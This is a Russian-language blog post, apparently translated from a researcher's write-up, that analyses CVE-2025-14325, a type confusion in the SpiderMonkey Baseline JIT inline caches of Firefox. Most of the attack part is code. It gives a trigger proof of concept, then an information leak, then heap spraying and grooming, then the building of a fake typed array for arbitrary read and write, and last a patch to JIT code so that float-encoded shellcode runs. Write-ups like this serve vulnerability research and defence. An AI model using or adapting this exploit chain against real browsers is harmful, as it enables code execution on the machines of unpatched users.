Skip to content

GlobThe.Top

  • Внутри WMI: Трассировка Windows Management от потребителей до COM-провайдеров Windows Internals
  • Обход EDR: техники 2026 года Обход EDR
  • Повышение привилегий Windows: рабочие техники 2025 года Privesc
  • Windows Persistence 2026 — Полный гайд: все техники закрепления с кодом Windows Persistence
  • От RCU Double Free до Root: Эксплуатация гонки ядра Linux в cornelslop Linux Kernel Exploitation
  • Process Injection 2026 — Все техники инъекции кода в Windows с примерами Injection
  • win32k: Таблица обратных вызовов ядра — полный разбор 126 функций Reverse Engineering
  • Продвинутый обход EDR: техники 2025 года Обход EDR

CVE-2025-14325: Ломаем JIT — эксплуатация Type Confusion в SpiderMonkey

Posted on 1 апреля, 2026 By AkaTor
Download PDF

Категория: Browser Exploitation / JIT
Уровень: Advanced
Оригинал: core-jmp.org by @qriousec
CVE: CVE-2025-14325
Компонент: SpiderMonkey (Firefox JavaScript Engine) — Baseline JIT
Перевод: Aka Tor
Дата: Март 2026


Введение

CVE-2025-14325 — уязвимость в движке JavaScript SpiderMonkey, используемом Mozilla Firefox. Баг возникает в компиляторе Baseline JIT, конкретно в реализации инлайн-кэшей (ICs), оптимизирующих операции доступа к свойствам. Логическая ошибка в обработчике fallback допустила несогласованные предположения о структуре объекта, что привело к type confusion — движок трактует память как неправильный тип, что может привести к повреждению памяти и произвольному выполнению кода.

Технически баг был обнаружен с помощью AI-assisted fuzzing через Claude Code, анализирующего активно разрабатываемую фичу TypedArray resizable. После этого фреймворк фаззинга был итеративно улучшен для покрытия всех аспектов этой фичи во всей истории коммитов.


1. Поверхность атаки и компонент

Как все современные JS-движки, SpiderMonkey использует многоуровневую архитектуру для балансирования задержки запуска и пиковой пропускной способности. Уязвимость живёт в уровне Baseline JIT, в механизме ускорения операций со свойствами: инлайн-кэшах.

SpiderMonkey JIT tiers

1.1 Что такое инлайн-кэши?

Инлайн-кэш (IC) — техника, кэширующая результат динамической операции прямо на месте вызова. Вместо полного поиска свойства каждый раз когда выполняется obj.x = value, IC запоминает: «в прошлый раз объект имел Shape S1, свойство x было в слоте 5» — и при следующих вызовах записывает прямо в слот 5 без поиска.

Inline Cache flow

Baseline JIT реализует IC как цепочку стабов — связный список маленьких фрагментов машинного кода, каждый специализированный для конкретной формы объекта.

1.2 Обработчики IC Fallback

Fallback table

Для операций записи свойств/элементов две функции обрабатывают fallback: DoSetElemFallback и DoSetPropFallback. Обе определены в js/src/jit/BaselineIC.cpp и разделяют одну двухфазную структуру:

// Упрощено из BaselineIC.cpp (DoSetElemFallback, строка 843)

bool DoSetElemFallback(JSContext* cx, BaselineFrame* frame,
                       ICFallbackStub* stub, Value* stack,
                       HandleValue objv, HandleValue index,
                       HandleValue rhs) {

  RootedObject obj(cx, ToObjectFromStack(cx, objv, index));

  // ──── Фаза 1: Снимок текущей формы объекта ────
  Rooted<Shape*> oldShape(cx, obj->shape());   // [1]

  DeferType deferType = DeferType::None;
  bool attached = false;

  // Попытка прикрепить стаб перед операцией
  if (stub->state().canAttachStub()) {
    SetPropIRGenerator gen(cx, script, pc, CacheKind::SetElem,
                            stub->state(), objv, index, rhs);
    switch (gen.tryAttachStub()) {                // [2]
      case AttachDecision::Attach:   /* ... */  break;
      case AttachDecision::Deferred:
        deferType = gen.deferType();              // [3] запомнить на потом
        break;
    }
  }

  // ──── Выполнение фактической VM-операции ────
  SetObjectElementWithReceiver(cx, obj, index, rhs, objv);  // [4]
  //       ↑ Может вызвать valueOf(), toString(), Proxy traps...
  //         Произвольный JavaScript может выполниться здесь!

  // ──── Фаза 2: Отложенное прикрепление стаба ────
  if (deferType == DeferType::AddSlot) {          // [5]
    SetPropIRGenerator gen(cx, script, pc, CacheKind::SetElem,
                            stub->state(), objv, index, rhs);
    gen.tryAttachAddSlotStub(oldShape);           // [6]
  }
}

Ключевые шаги:

  • [1] Снимок: Текущая форма объекта сохраняется как oldShape
  • [2-3] Первая попытка прикрепления: IC-генератор пытается прикрепить стаб, при добавлении свойства — откладывает
  • [4] Выполнение VM: Фактическая операция. Критично: может выполнять JavaScript-коллбэки!
  • [5-6] Отложенное прикрепление: tryAttachAddSlotStub(oldShape) запускается после VM-операции

1.3 Окно реентерабельности

Demonstrate a re-entrancy window

Разрыв между [1] (сохранение oldShape) и [6] (прикрепление стаба) — поверхность атаки. Во время [4] VM-операция может вызвать контролируемый JavaScript. В этой уязвимости коллбэк valueOf() вызывает SharedArrayBuffer.prototype.grow(), расширяя длину typed array. Индекс, ранее за пределами диапазона, становится валидным — результат поиска записывает TypedArrayElement вместо ожидаемого NativeProperty.


2. Уязвимость

2.1 Union PropertyResult

// js/src/vm/PropertyResult.h
class PropertyResult {
  enum class Kind : uint8_t {
    NotFound,
    NativeProperty,      // propInfo_ валиден
    NonNativeProperty,
    DenseElement,        // denseIndex_ валиден
    TypedArrayElement,   // typedArrayIndex_ валиден
  };

  union {
    PropertyInfo propInfo_;      // uint32_t (32 бита)
    uint32_t denseIndex_;        // uint32_t (32 бита)
    size_t typedArrayIndex_;     // size_t (64 бита на x86-64)
  };

  Kind kind_ = Kind::NotFound;
};

Аксессор propertyInfo() имеет проверку только для debug:

PropertyInfo propertyInfo() const {
  MOZ_ASSERT(isNativeProperty());   // вырезается в релизе!
  return propInfo_;
}

Поскольку propInfo_ (32 бита) и typedArrayIndex_ (64 бита) разделяют один адрес, вызов propertyInfo() на результате TypedArrayElement переинтерпретирует нижние 32 бита индекса как PropertyInfo.

class PropertyInfoBase {
  static constexpr uint32_t FlagsMask = 0xff;
  static constexpr uint32_t SlotShift = 8;

  T slotAndFlags_ = 0;
  /*
  биты 0-7: флаги
  биты 8-31: номер слота
  */
};

2.2 Type Confusion

Уязвимая функция tryAttachAddSlotStub:

PropertyResult prop;
LookupOwnPropertyPure(cx_, obj, id, &prop);        // [7] свежий поиск

PropertyInfo propInfo = prop.propertyInfo();         // [8] TYPE CONFUSION
// ...
MOZ_RELEASE_ASSERT(newShape->lastProperty() == propInfo);  // [9] проверка

// [10] номер слота записывается в IC стаб:
size_t offset = holder->dynamicSlotIndex(propInfo.slot()) * sizeof(Value);
writer.allocateAndStoreDynamicSlot(objId, offset, rhsValId, newShape, numNewSlots);

2.3 Обход MOZ_RELEASE_ASSERT

Проверка в [9] сравнивает confused propInfo с последним свойством. Нижние 32 бита typedArrayIndex_ должны быть равны slotAndFlags_. Добавление arr.x = 1 создаёт свойство в слоте 7 с флагами 0x07, давая slotAndFlags_ = 0x707:

// lower32(typedArrayIndex_) должен быть равен 0x707
// → typedArrayIndex_ = 0x100000707
// → JavaScript индекс = 0xffffffff + 0x708
arr[0xffffffff + 0x708] = obj;

2.4 Proof of Concept

function trigger() {
  let sab = new SharedArrayBuffer(0x28, { maxByteLength: 0x100000800 });
  let arr = new Uint8Array(sab);

  const obj = {
    valueOf() { sab.grow(0x100000800); }  // рост в середине операции
  };

  arr.x = 1;                      // lastProperty().slotAndFlags_ = 0x707
  arr[0xffffffff + 0x708] = obj;  // lower32(0x100000707) = 0x707 ✓
}

for (let i = 0; i < 10; i++) trigger();  // прогрев IC
trigger();                                // 11-й вызов: повреждённый стаб

3. Эксплуатация

3.1 Этап 1: Утечка информации

function jitme() {
  let maxLength = 0x200000000;
  let lastIdx = 0x20;
  let confused_index = 0x100000000 + ((lastIdx << 8) + 0x7);
  let sab = new SharedArrayBuffer(0x10, {maxByteLength: maxLength});
  const dataArray = new Uint8Array(sab);

  const obj1 = {
    valueOf() {
      // Добавляем 26 именованных свойств во время valueOf
      for (let i = 0; i < lastIdx - 6; i++) {
        dataArray[`a_${i.toString(16).padStart(3, '0')}`] = i;
      }
      sab.grow(confused_index + 1);
    }
  };

  dataArray[confused_index] = obj1;

  // Чтения через повреждённый IC стаб — читают мусорные указатели
  return [dataArray["a_002"], dataArray["a_007"]];
};

Showing stale heap data by dumpObject after optimizing

3.2 Этап 2: Heap Spray и Grooming

Концепция spray-free-reallocate:

function write_shellcode(shape_addr, elements_addr) {
  let sprayArray = [];
  const spraying1_count = 16;

  // Фаза 1: Спрей SharedArrayBuffer
  for (let i = 0; i < spraying1_count; i++) {
    let [value1, arr] = spray_write();
    sprayArray.push(arr);
  }

  // Фаза 2: Освобождаем все для создания дыр
  for (let i = 0; i < spraying1_count; i++) {
    delete sprayArray[i];
  }
  delete sprayArray;
  do_gc();

  // Фаза 3: Переаллокация
  const [targeted_obj, value2] = spray_write();

  // Фаза 4: Спрей ArrayBuffer с inline данными (96 байт каждый)
  const sprayArray2 = [];
  for (let i = 0; i < 208; i++) {
    let arr = new ArrayBuffer(0x60);
    arr[0] = 0x13381338;
    arr.x = i2f(0x13391339n);
    sprayArray2.push(arr);
  }

  const last_arr = new ArrayBuffer(0x60);
  // ...
}

Функция do_gc() триггерит некомпактирующий полный GC через условие TOO_MUCH_MALLOC:

function do_gc() {
  for (var i = 0; i < 3; i++) var x = new ArrayBuffer(128 * 0x100000);
}

3.3 Этап 3: Конструирование фейкового объекта

Фейковый Uint32Array внутри inline data региона ArrayBuffer:

const last_arr = new ArrayBuffer(0x60);
const write_arr = new Uint32Array(last_arr);

// Фейковый заголовок NativeObject:
// [shape pointer][slots pointer][elements pointer]...[data pointer][length]

// Фейковая shape — указывает на реальную shape Uint32Array
write_arr[0] = Number(uint32_shape_addr & 0xFFFFFFFFn);
write_arr[1] = Number(uint32_shape_addr >> 32n);

// Фейковые slots
write_arr[2] = Number(slots_addr & 0xFFFFFFFFn);
write_arr[3] = Number(slots_addr >> 32n);

// Фейковые elements
write_arr[4] = Number(elements_addr & 0xFFFFFFFFn);
write_arr[5] = Number(elements_addr >> 32n);

// Фейковый указатель данных — куда мы хотим читать/писать
write_arr[0xc] = Number(data_pointer & 0xFFFFFFFFn);
write_arr[0xd] = Number(data_pointer >> 32n);

// Фейковая длина
write_arr[8] = 0x100;

Demonstrate memory overlap

Overlap memory layout in pwndbg

Повреждение shape и получение фейкового объекта:

targeted_obj.x = i2f(weak_ref_shape); // меняем shape last_arr на weak_ref_shape
targeted_obj.y = i2f(0x890n);
const fake_obj = last_arr.deref(); // deref возвращает фейковый объект

3.4 Этап 4: Произвольное выполнение кода

С фейковым Uint32Array чей указатель данных контролируется — примитив произвольного чтения/записи. Финальный шаг — перехват потока управления:

// JIT-компилируем функцию shellcode
for (let i = 0; i < 100000; i++) {
  shellcode();
}

// Патчим entry point JIT-кода
fake_obj[0] = fake_obj[0] + 0x2b8;

// Вызов shellcode() выполняет контролируемый машинный код
shellcode();

Функция shellcode() — float-константы, кодирующие инструкции x86-64:

function shellcode() {
  EGG = 5.40900888e-315;          // 0x41414141 — маркер
  C01 = 7.340387646374746e+223;   // закодированный машинный код
  C02 = -5.632314578774827e+190;
  // ...
}

Когда Warp JIT компилирует эту функцию, константы встраиваются в генерируемый машинный код.

Full exploit running against js shell Патч entry point для прыжка в середину этих констант заставляет CPU выполнять шеллкод.


Заключение

Путешествие от сбоя JIT до произвольного выполнения кода в SpiderMonkey. Корневая причина подчёркивает распространённую поверхность атаки в движках браузеров: недавно введённые фичи небезопасно взаимодействуют с давно существующим кодом, где предположения, написанные годы назад, больше не выполняются.

Ссылки

  • phoenhex.re — Firefox StructuredClone Refleak
  • Exploit-DB 46646
  • SentinelOne — Firefox JIT Use-After-Frees
Browser Exploitation

Навигация по записям

Previous Post: От RCU Double Free до Root: Эксплуатация гонки ядра Linux в cornelslop
Next Post: CVE-2026-20811: Асинхронные окна Windows пошли не так — эксплуатация Type Confusion в Win32k

Archives

  • Апрель 2026
  • Март 2026

Categories

  • Browser Exploitation
  • CVE
  • Evasion
  • Injection
  • Lateral Movement
  • Linux Kernel Exploitation
  • Malware Analysis
  • Persistence
  • Privesc
  • Reverse Engineering
  • Uncategorized
  • Vulnerability Research
  • Windows Internals
  • Windows Kernel
  • Windows Persistence
  • Обход EDR

Recent Posts

  • win32k: Таблица обратных вызовов ядра — полный разбор 126 функций
  • win32kfull: переполнение буфера в NtUserGetRawInputDeviceInfo
  • Как Windows раздаёт обновления по сети: полный реверс P2P протокола Windows Update
  • Token Manipulation 2026 — Impersonation, Potato Attacks, Token Theft: от сервисного аккаунта до SYSTEM
  • Анатомия EDR Killer — техники обхода и отключения защиты в современных ransomware

Recent Comments

Нет комментариев для просмотра.
  • Token Manipulation 2026 — Impersonation, Potato Attacks, Token Theft: от сервисного аккаунта до SYSTEM Privesc
  • Fileless Malware: .NET Assembly Loading из памяти Evasion
  • Внутри WMI: Трассировка Windows Management от потребителей до COM-провайдеров Windows Internals
  • Повышение привилегий Windows: рабочие техники 2025 года Privesc
  • От RCU Double Free до Root: Эксплуатация гонки ядра Linux в cornelslop Linux Kernel Exploitation
  • Process Injection 2026 — Все техники инъекции кода в Windows с примерами Injection
  • Обход EDR: техники 2026 года Обход EDR
  • Продвинутый обход EDR: техники 2025 года Обход EDR

Copyright © 2026 GlobThe.Top.

Powered by PressBook News Dark theme